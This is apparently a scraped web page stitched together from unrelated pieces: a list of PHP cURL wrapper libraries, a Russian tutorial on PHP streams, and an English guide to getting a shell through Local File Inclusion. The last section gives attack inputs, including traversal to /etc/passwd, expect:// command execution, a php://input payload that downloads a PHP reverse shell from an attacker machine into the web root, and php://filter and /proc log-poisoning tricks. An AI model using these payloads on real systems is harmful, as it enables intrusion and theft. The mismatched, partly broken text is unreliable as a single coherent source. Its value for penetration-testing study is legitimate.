Невыносимый wrapper php. Как врапперы PHP могут быть использованы для атаки на веб-приложения. Что таит в себе ZIP

Are the kings, however sometimes according to the size or importance of your project, you don"t need such a library but only cURL. The point is that cURL with the default syntax can become tedious to work with, so you may want to use a wrapper that simplifies many tasks and makes the execution of requests easier. In this top, we want to share with you 7 of the best wrappers libraries available for cURL on the web.

7. Curl by dcai

This wrapper offers an abstraction layer that simplifies the syntax of the PHP cURL Library:

$http = new dcai\curl; // enable cache $http = new dcai\curl(array("cache"=>true)); // enable cookie $http = new dcai\curl(array("cookie"=>true)); // enable proxy $http = new dcai\curl(array("proxy"=>true)); // HTTP GET $response = $http->get("http://example.com"); // HTTP POST $response = $http->post("http://example.com/", array("q"=>"words", "name"=>"moodle")); // POST RAW $xml = "perform"; $response = $http->post("http://example.com/", $xml); // HTTP PUT $response = $http->put("http://example.com/", array("file"=>"/var/www/test.txt");

6. CurlWrapper

CurlWrapper is a flexible wrapper class for PHP cURL extension. You can easily initialize an instance of the library with:

Try { $curl = new CurlWrapper(); } catch (CurlWrapperException $e) { echo $e->getMessage(); }

The CurlWrapper object supports 5 types of requests: HEAD, GET, POST, PUT, and DELETE. You must specify an url to request and optionally specify an associative array or query string of variables to send along with it:

$response = $curl->head($url, $params); $response = $curl->get($url, $params); $response = $curl->post($url, $params); $response = $curl->put($url, $params); $response = $curl->delete($url, $params);

5. Rolling cURLx

Rolling Curl is an easy to use cURL Multi wrapper for PHP with a very cool name. It aims at making concurrent http requests in PHP as easy as possible. First initialize class with the maximum number of concurrent requests you want open at a time:

$RCX = new RollingCurlX(10);

All requests after this will be queued until one completes:

$url = "http://www.google.com/search?q=apples"; $post_data = ["user" => "bob", "token" => "dQw4w9WgXcQ"]; //set to NULL if not using POST $user_data = ["foo", $whatever]; $options = ; function callback_functn($response, $url, $request_info, $user_data, $time) { $time; //how long the request took in milliseconds (float) $request_info; //array returned by curl_getinfo($ch), plus a couple extras } $RCX->addRequest($url, $post_data, "callback_functn", $user_data, $options, $headers);

Send the requests. Blocks until all requests complete or timeout:

$RCX->execute();

4. PHP Curl

PHP Curl is a very Simple PHP curl wrapper class for cURL. According to the author, this class is the smallest possible OOP wrapper for PHP"s curl capabilities. Note that this is not meant as a high-level abstraction. You should still know how "pure PHP" curl works, you need to know the curl options to set, and you need to know some HTTP basics. It"s syntax is developer friendly:

// newRequest, newJsonRequest and newRawRequest returns a Request object $request = $curl->newRequest("post", $url, ["foo" => "bar"]) ->setHeader("Accept-Charset", "utf-8") ->setHeader("Accept-Language", "en-US") ->setOption(CURLOPT_CAINFO, "/path/to/cert") ->setOption(CURLOPT_FOLLOWLOCATION, true); $response = $request->send();

3. Curl Easy

Curl Easy is wrapper for the cURL extension of PHP. Supports parallel and non-blocking requests. This is small but powerful and robust library which speeds the things up. If you are tired of using PHP cURL extension with its procedural interface, but you want also keep control about script execution it"s great choice for you. This library:

  • widely unit tested.
  • lightweight library with moderate level interface. It"s not all-in-one library.
  • parallel/asynchronous connections with very simple interface.
  • attaching/detaching requests in parallel on run time!
  • support for callbacks, so you can control execution process.
  • intelligent setters as alternative to CURLOPT_* constants.
  • if you know the cURL php extension, you don"t have to learn things from beginning

It"s syntax is pretty easy to understand as well:

getOptions() ->set(CURLOPT_TIMEOUT, 5) ->set(CURLOPT_RETURNTRANSFER, true); $response = $request->send(); $feed = json_decode($response->getContent(), true); echo "Current Bitcoin price: " . $feed["data"]["rate"] . " " . $feed["data"]["code"] . "\n";

2. Curl by Shuber

Curl library is a basic CURL wrapper for PHP. The Curl object supports 5 types of requests: HEAD, GET, POST, PUT, and DELETE. You must specify a url to request and optionally specify an associative array or string of variables to send along with it. Simply require and initialize the Curl class like so:

Require_once "curl.php"; $curl = new Curl; $response = $curl->head($url, $vars = array()); $response = $curl->get($url, $vars = array()); # The Curl object will append the array of $vars to the $url as a query string $response = $curl->post($url, $vars = array()); $response = $curl->put($url, $vars = array()); $response = $curl->delete($url, $vars = array());

1. PHP Curl Class

PHP Curl Class is a very well written wrapper of cURL that makes really easy to send HTTP requests and integrate with any kind of web APIs. PHP Curl Class works with PHP 5.3, 5.4, 5.5, 5.6, 7.0, 7.1, and HHVM. This library is widely known and offers a really easy syntax:

Require __DIR__ . "/vendor/autoload.php"; use \Curl\Curl; $curl = new Curl(); $curl->get("https://www.example.com/"); if ($curl->error) { echo "Error: " . $curl->errorCode . ": " . $curl->errorMessage . "\n"; } else { echo "Response:" . "\n"; var_dump($curl->response); }

If you know another awesome wrapper library for the cURL extension written in PHP, please share it with the community in the comment box.

В программировании постоянно приходиться работать с различными ресурсами: файлами, сокетами, http-соединениями . И у них у всех есть некий интерфейс доступа, часто несовместимый друг с другом. Поэтому, чтобы устранить данные несоответствия и унифицировать работу с различными источниками данных, начиная с PHP 4.3 были придуманы PHP Streams - потоки .

Несмотря на то, что PHP 4.3 вышел давным-давно, многие PHP-программисты имеют весьма отдаленное представление о потоках в PHP , и продолжают использовать CURL везде, хотя в PHP для этого существует более удобная альтернатива в виде контекста потоков (Stream Context) .

Следующие виды потоков существуют в PHP :

  • Файл на жестком диске;
  • HTTP-соединение с веб-сайтом;
  • Соединение UDP с сервером;
  • ZIP-файл ;
  • Файл *.mp3 .

Что общего есть во всех этих ресурсах? Все они могут быть прочитаны и записаны, т.е. к ним ко всем могут быть применены операции чтения и записи. Сила потоков PHP как раз и заключается в том, что вы можете получить доступ ко всем этим ресурсам, используя один и тот же набор функций. Это очень удобно. Также, если вдруг возникнет такая необходимость, Вы можете написать свою собственную реализацию обработчика потоков "stream wrapper" . Помимо чтения и записи, потоки в PHP также позволяет выполнять другие операции, такие как переименование и удаление.

Программируя на PHP , Вы уже встречались с потоками, хотя возможно не догадывались об этом. Так, функции, работающие с потоками - это fopen() , file_get_contents() , file() и т.д. Поэтому, фактически, Вы уже используете файловые потоки все это время, полностью прозрачно.

Для работы с другим типом потока, необходимо указать его протокол (wrapper) следующим образом: wrapper://some_stream_resource , где wrapper:// - это, например http:// , file:// , ftp:// , zip:// и т.д., а some_stream_resource - URI-адрес , идентифицирует то, что вы хотите открыть. URI-адрес не накладывает каких-либо ограничений на формат. Примеры:

  • http://сайт/php-stream-introduction.html
  • file://C:/Projects/rostov-on-don.jpg
  • ftp://user:[email protected]/pub/file.txt
  • mpeg://file:///music/song.mp3
  • data://text/plain;base64,SSBsb3ZlIFBIUAo=

Однако, учтите, что не все протоколы и обработчики могут работать у Вас, так как поддержка некоторых оболочек зависит от Ваших настроек. Поэтому, чтобы узнать какие протоколы поддерживаются необходимо выполнить следующий скрипт:

// список зарегистрированных транспортов сокета
print_r(stream_get_transports());

// список зарегистрированных потоков (обработчиков)
print_r(stream_get_wrappers());

// список зарегистрированных фильтров
print_r(stream_get_filters();

Контексты потоков PHP

Часто возникает необходимость указания дополнительных параметров при http-запросе. Контексты потоков решают эту проблему, позволяя указать дополнительные параметры. У многих функций, поддерживающих работу с потоками, есть необязательный параметр контекста потока. Давайте посмотрим на функцию file_get_contents() :

String file_get_contents(string $filename [, int $flags = 0 [, resource $context [, int $offset = -1 [, int $maxlen = -1]]]])

Как видно, третьим параметром передается контекст потока. Контексты создаются с помощью функции stream_context_create() , которая принимает массив и возвращает ресурс контекста.

$options = array(
"http" => array(
"method" => "GET",
"header" => "Accept-language: en\r\n".
"Cookie: foo = bar\r\n"
);

$context = stream_context_create($options);

// Используя это с file_get_contents ...
echo file_get_contents ("http://www.example.com/", 0, $context);

Таким образом, сегодня мы узнали, что такое потоки и контексты потоков в PHP , рассмотрели примеры их использования, а в следующих статьях мы поговорим о метаданных потока и создадим свой собственный обработчик.

LFI stands for Local File Includes - it’s a file local inclusion vulnerability that allows an attacker to include files that exist on the target web server. Typically this is exploited by abusing dynamic file inclusion mechanisms that don’t sanitize user input.

Scripts that take filenames as parameters without sanitizing the user input are good candidates for LFI vulnerabilities, a good example would be the following PHP script foo.php?file=image.jpg which takes image.jpg as a parameter. An attacker would simply replace image.jpg and insert a payload. Normally a directory traversal payload is used that escapes the script directory and traverses the filesystem directory structure, exposing sensitive files such as foo.php?file=../../../../../../../etc/passwd or sensitive files within the web application itself. Exposing sensitive information or configuration files containing SQL usernames and passwords.

Note: In some cases, depending on the nature of the LFI vulnerability it’s possible to run system executables.

How to get a Shell from LFI

Below are some techniques I’ve used in the past to gain a shell on systems with vulnerable LFI scripts exposed.

Path Traversal aka Directory Traversal

As mentioned above Traverse the filesystem directory structure to disclose sensitive information about the system that can help you gain a shell, usernames / passwords etc.

PHP Wrapper expect:// LFI

Allows execution of system commands via the php expect wrapper, unfortunately this is not enabled by default.

An example of PHP expect:

Http://127.0.0.1/fileincl/example1.php?page= expect://ls

Below is the error received if the PHP expect wrapper is disabled:

Warning : include () : Unable to find the wrapper "expect" - did you forget to enable it when you < br > configured PHP ? in / var / www / fileincl / example1 . php on line 7 Warning : include () : Unable to find the < br > wrapper "expect" - did you forget to enable it when you configured PHP ? in < br > / var / www / fileincl / example1 . php on line 7 Warning : include (expect :// ls ) : failed to open stream : No such file or directory in / var / www / fileincl / example1 . php on line 7 Warning : include () : Failed opening "expect://ls" for inclusion (include_path = ".:/usr/share/php:/usr/share/pear" ) in / var / www / fileincl / example1 . php on line 7

PHP Wrapper php://file

Another PHP wrapper, php://input your payload is sent in a POST request using curl, burp or hackbar to provide the post data is probably the easiest option.

Http://192.168.183.128/fileincl/example1.php?page= php://input

Post Data payload, try something simple to start with like:

Then try and download a from your attacking machine using:

"wget http://192.168.183.129/php-reverse-shell.php -O /var/www/shell.php" ) ; ?>

After uploading execute the reverse shell at http://192.168.183.129/shell.php

PHP Wrapper php://filter

Another PHP wrapper, php://filter in this example the output is encoded using base64, so you’ll need to decode the output.

Http://192.168.155.131/fileincl/example1.php?page= php://filter/convert.base64-encode/resource= ../../../../../etc/passwd

/proc/self/environ LFI Method

If it’s possible to include /proc/self/environ from your vulnerable LFI script, then code execution can be leveraged by manipulating the User Agent parameter with Burp. After the PHP code has been introduced /proc/self/environ can be executed via your vulnerable LFI script.

/proc/self/fd/ LFI Method

Similar to the previous /proc/self/environ method, it’s possible to introduce code into the proc log files that can be executed via your vulnerable LFI script. Typically you would use burp or curl to inject PHP code into the referer .

This method is a little tricky as the proc file that contains the Apache error log information changes under /proc/self/fd/ e.g. /proc/self/fd/2 , /proc/self/fd/10 etc. I’d recommend brute forcing the directory structure of the /proc/self/fd/ directory with Burp Intruder + FuzzDB’s LFI-FD-Check.txt list of likely proc files, you can then monitor the returned page sizes and investigate.

fimap LFI Pen Testing Tool

fimap is a tool used on pen tests that automates the above processes of discovering and exploiting LFI scripts. Upon discovering a vulnerable LFI script fimap will enumerate the local filesystem and search for writable log files or locations such as /proc/self/environ . Another tool commonly used by pen testes to automate LFI discovery is Kali’s dotdotpwn, which works in a similar way.

fimap + phpinfo() Exploit

Fimap exploits PHP’s temporary file creation via Local File Inclusion by abusing PHPinfo() information disclosure glitch to reveal the location of the created temporary file.

If a phpinfo() file is present, it’s usually possible to get a shell, if you don’t know the location of the phpinfo file fimap can probe for it, or you could use a tool like OWASP DirBuster.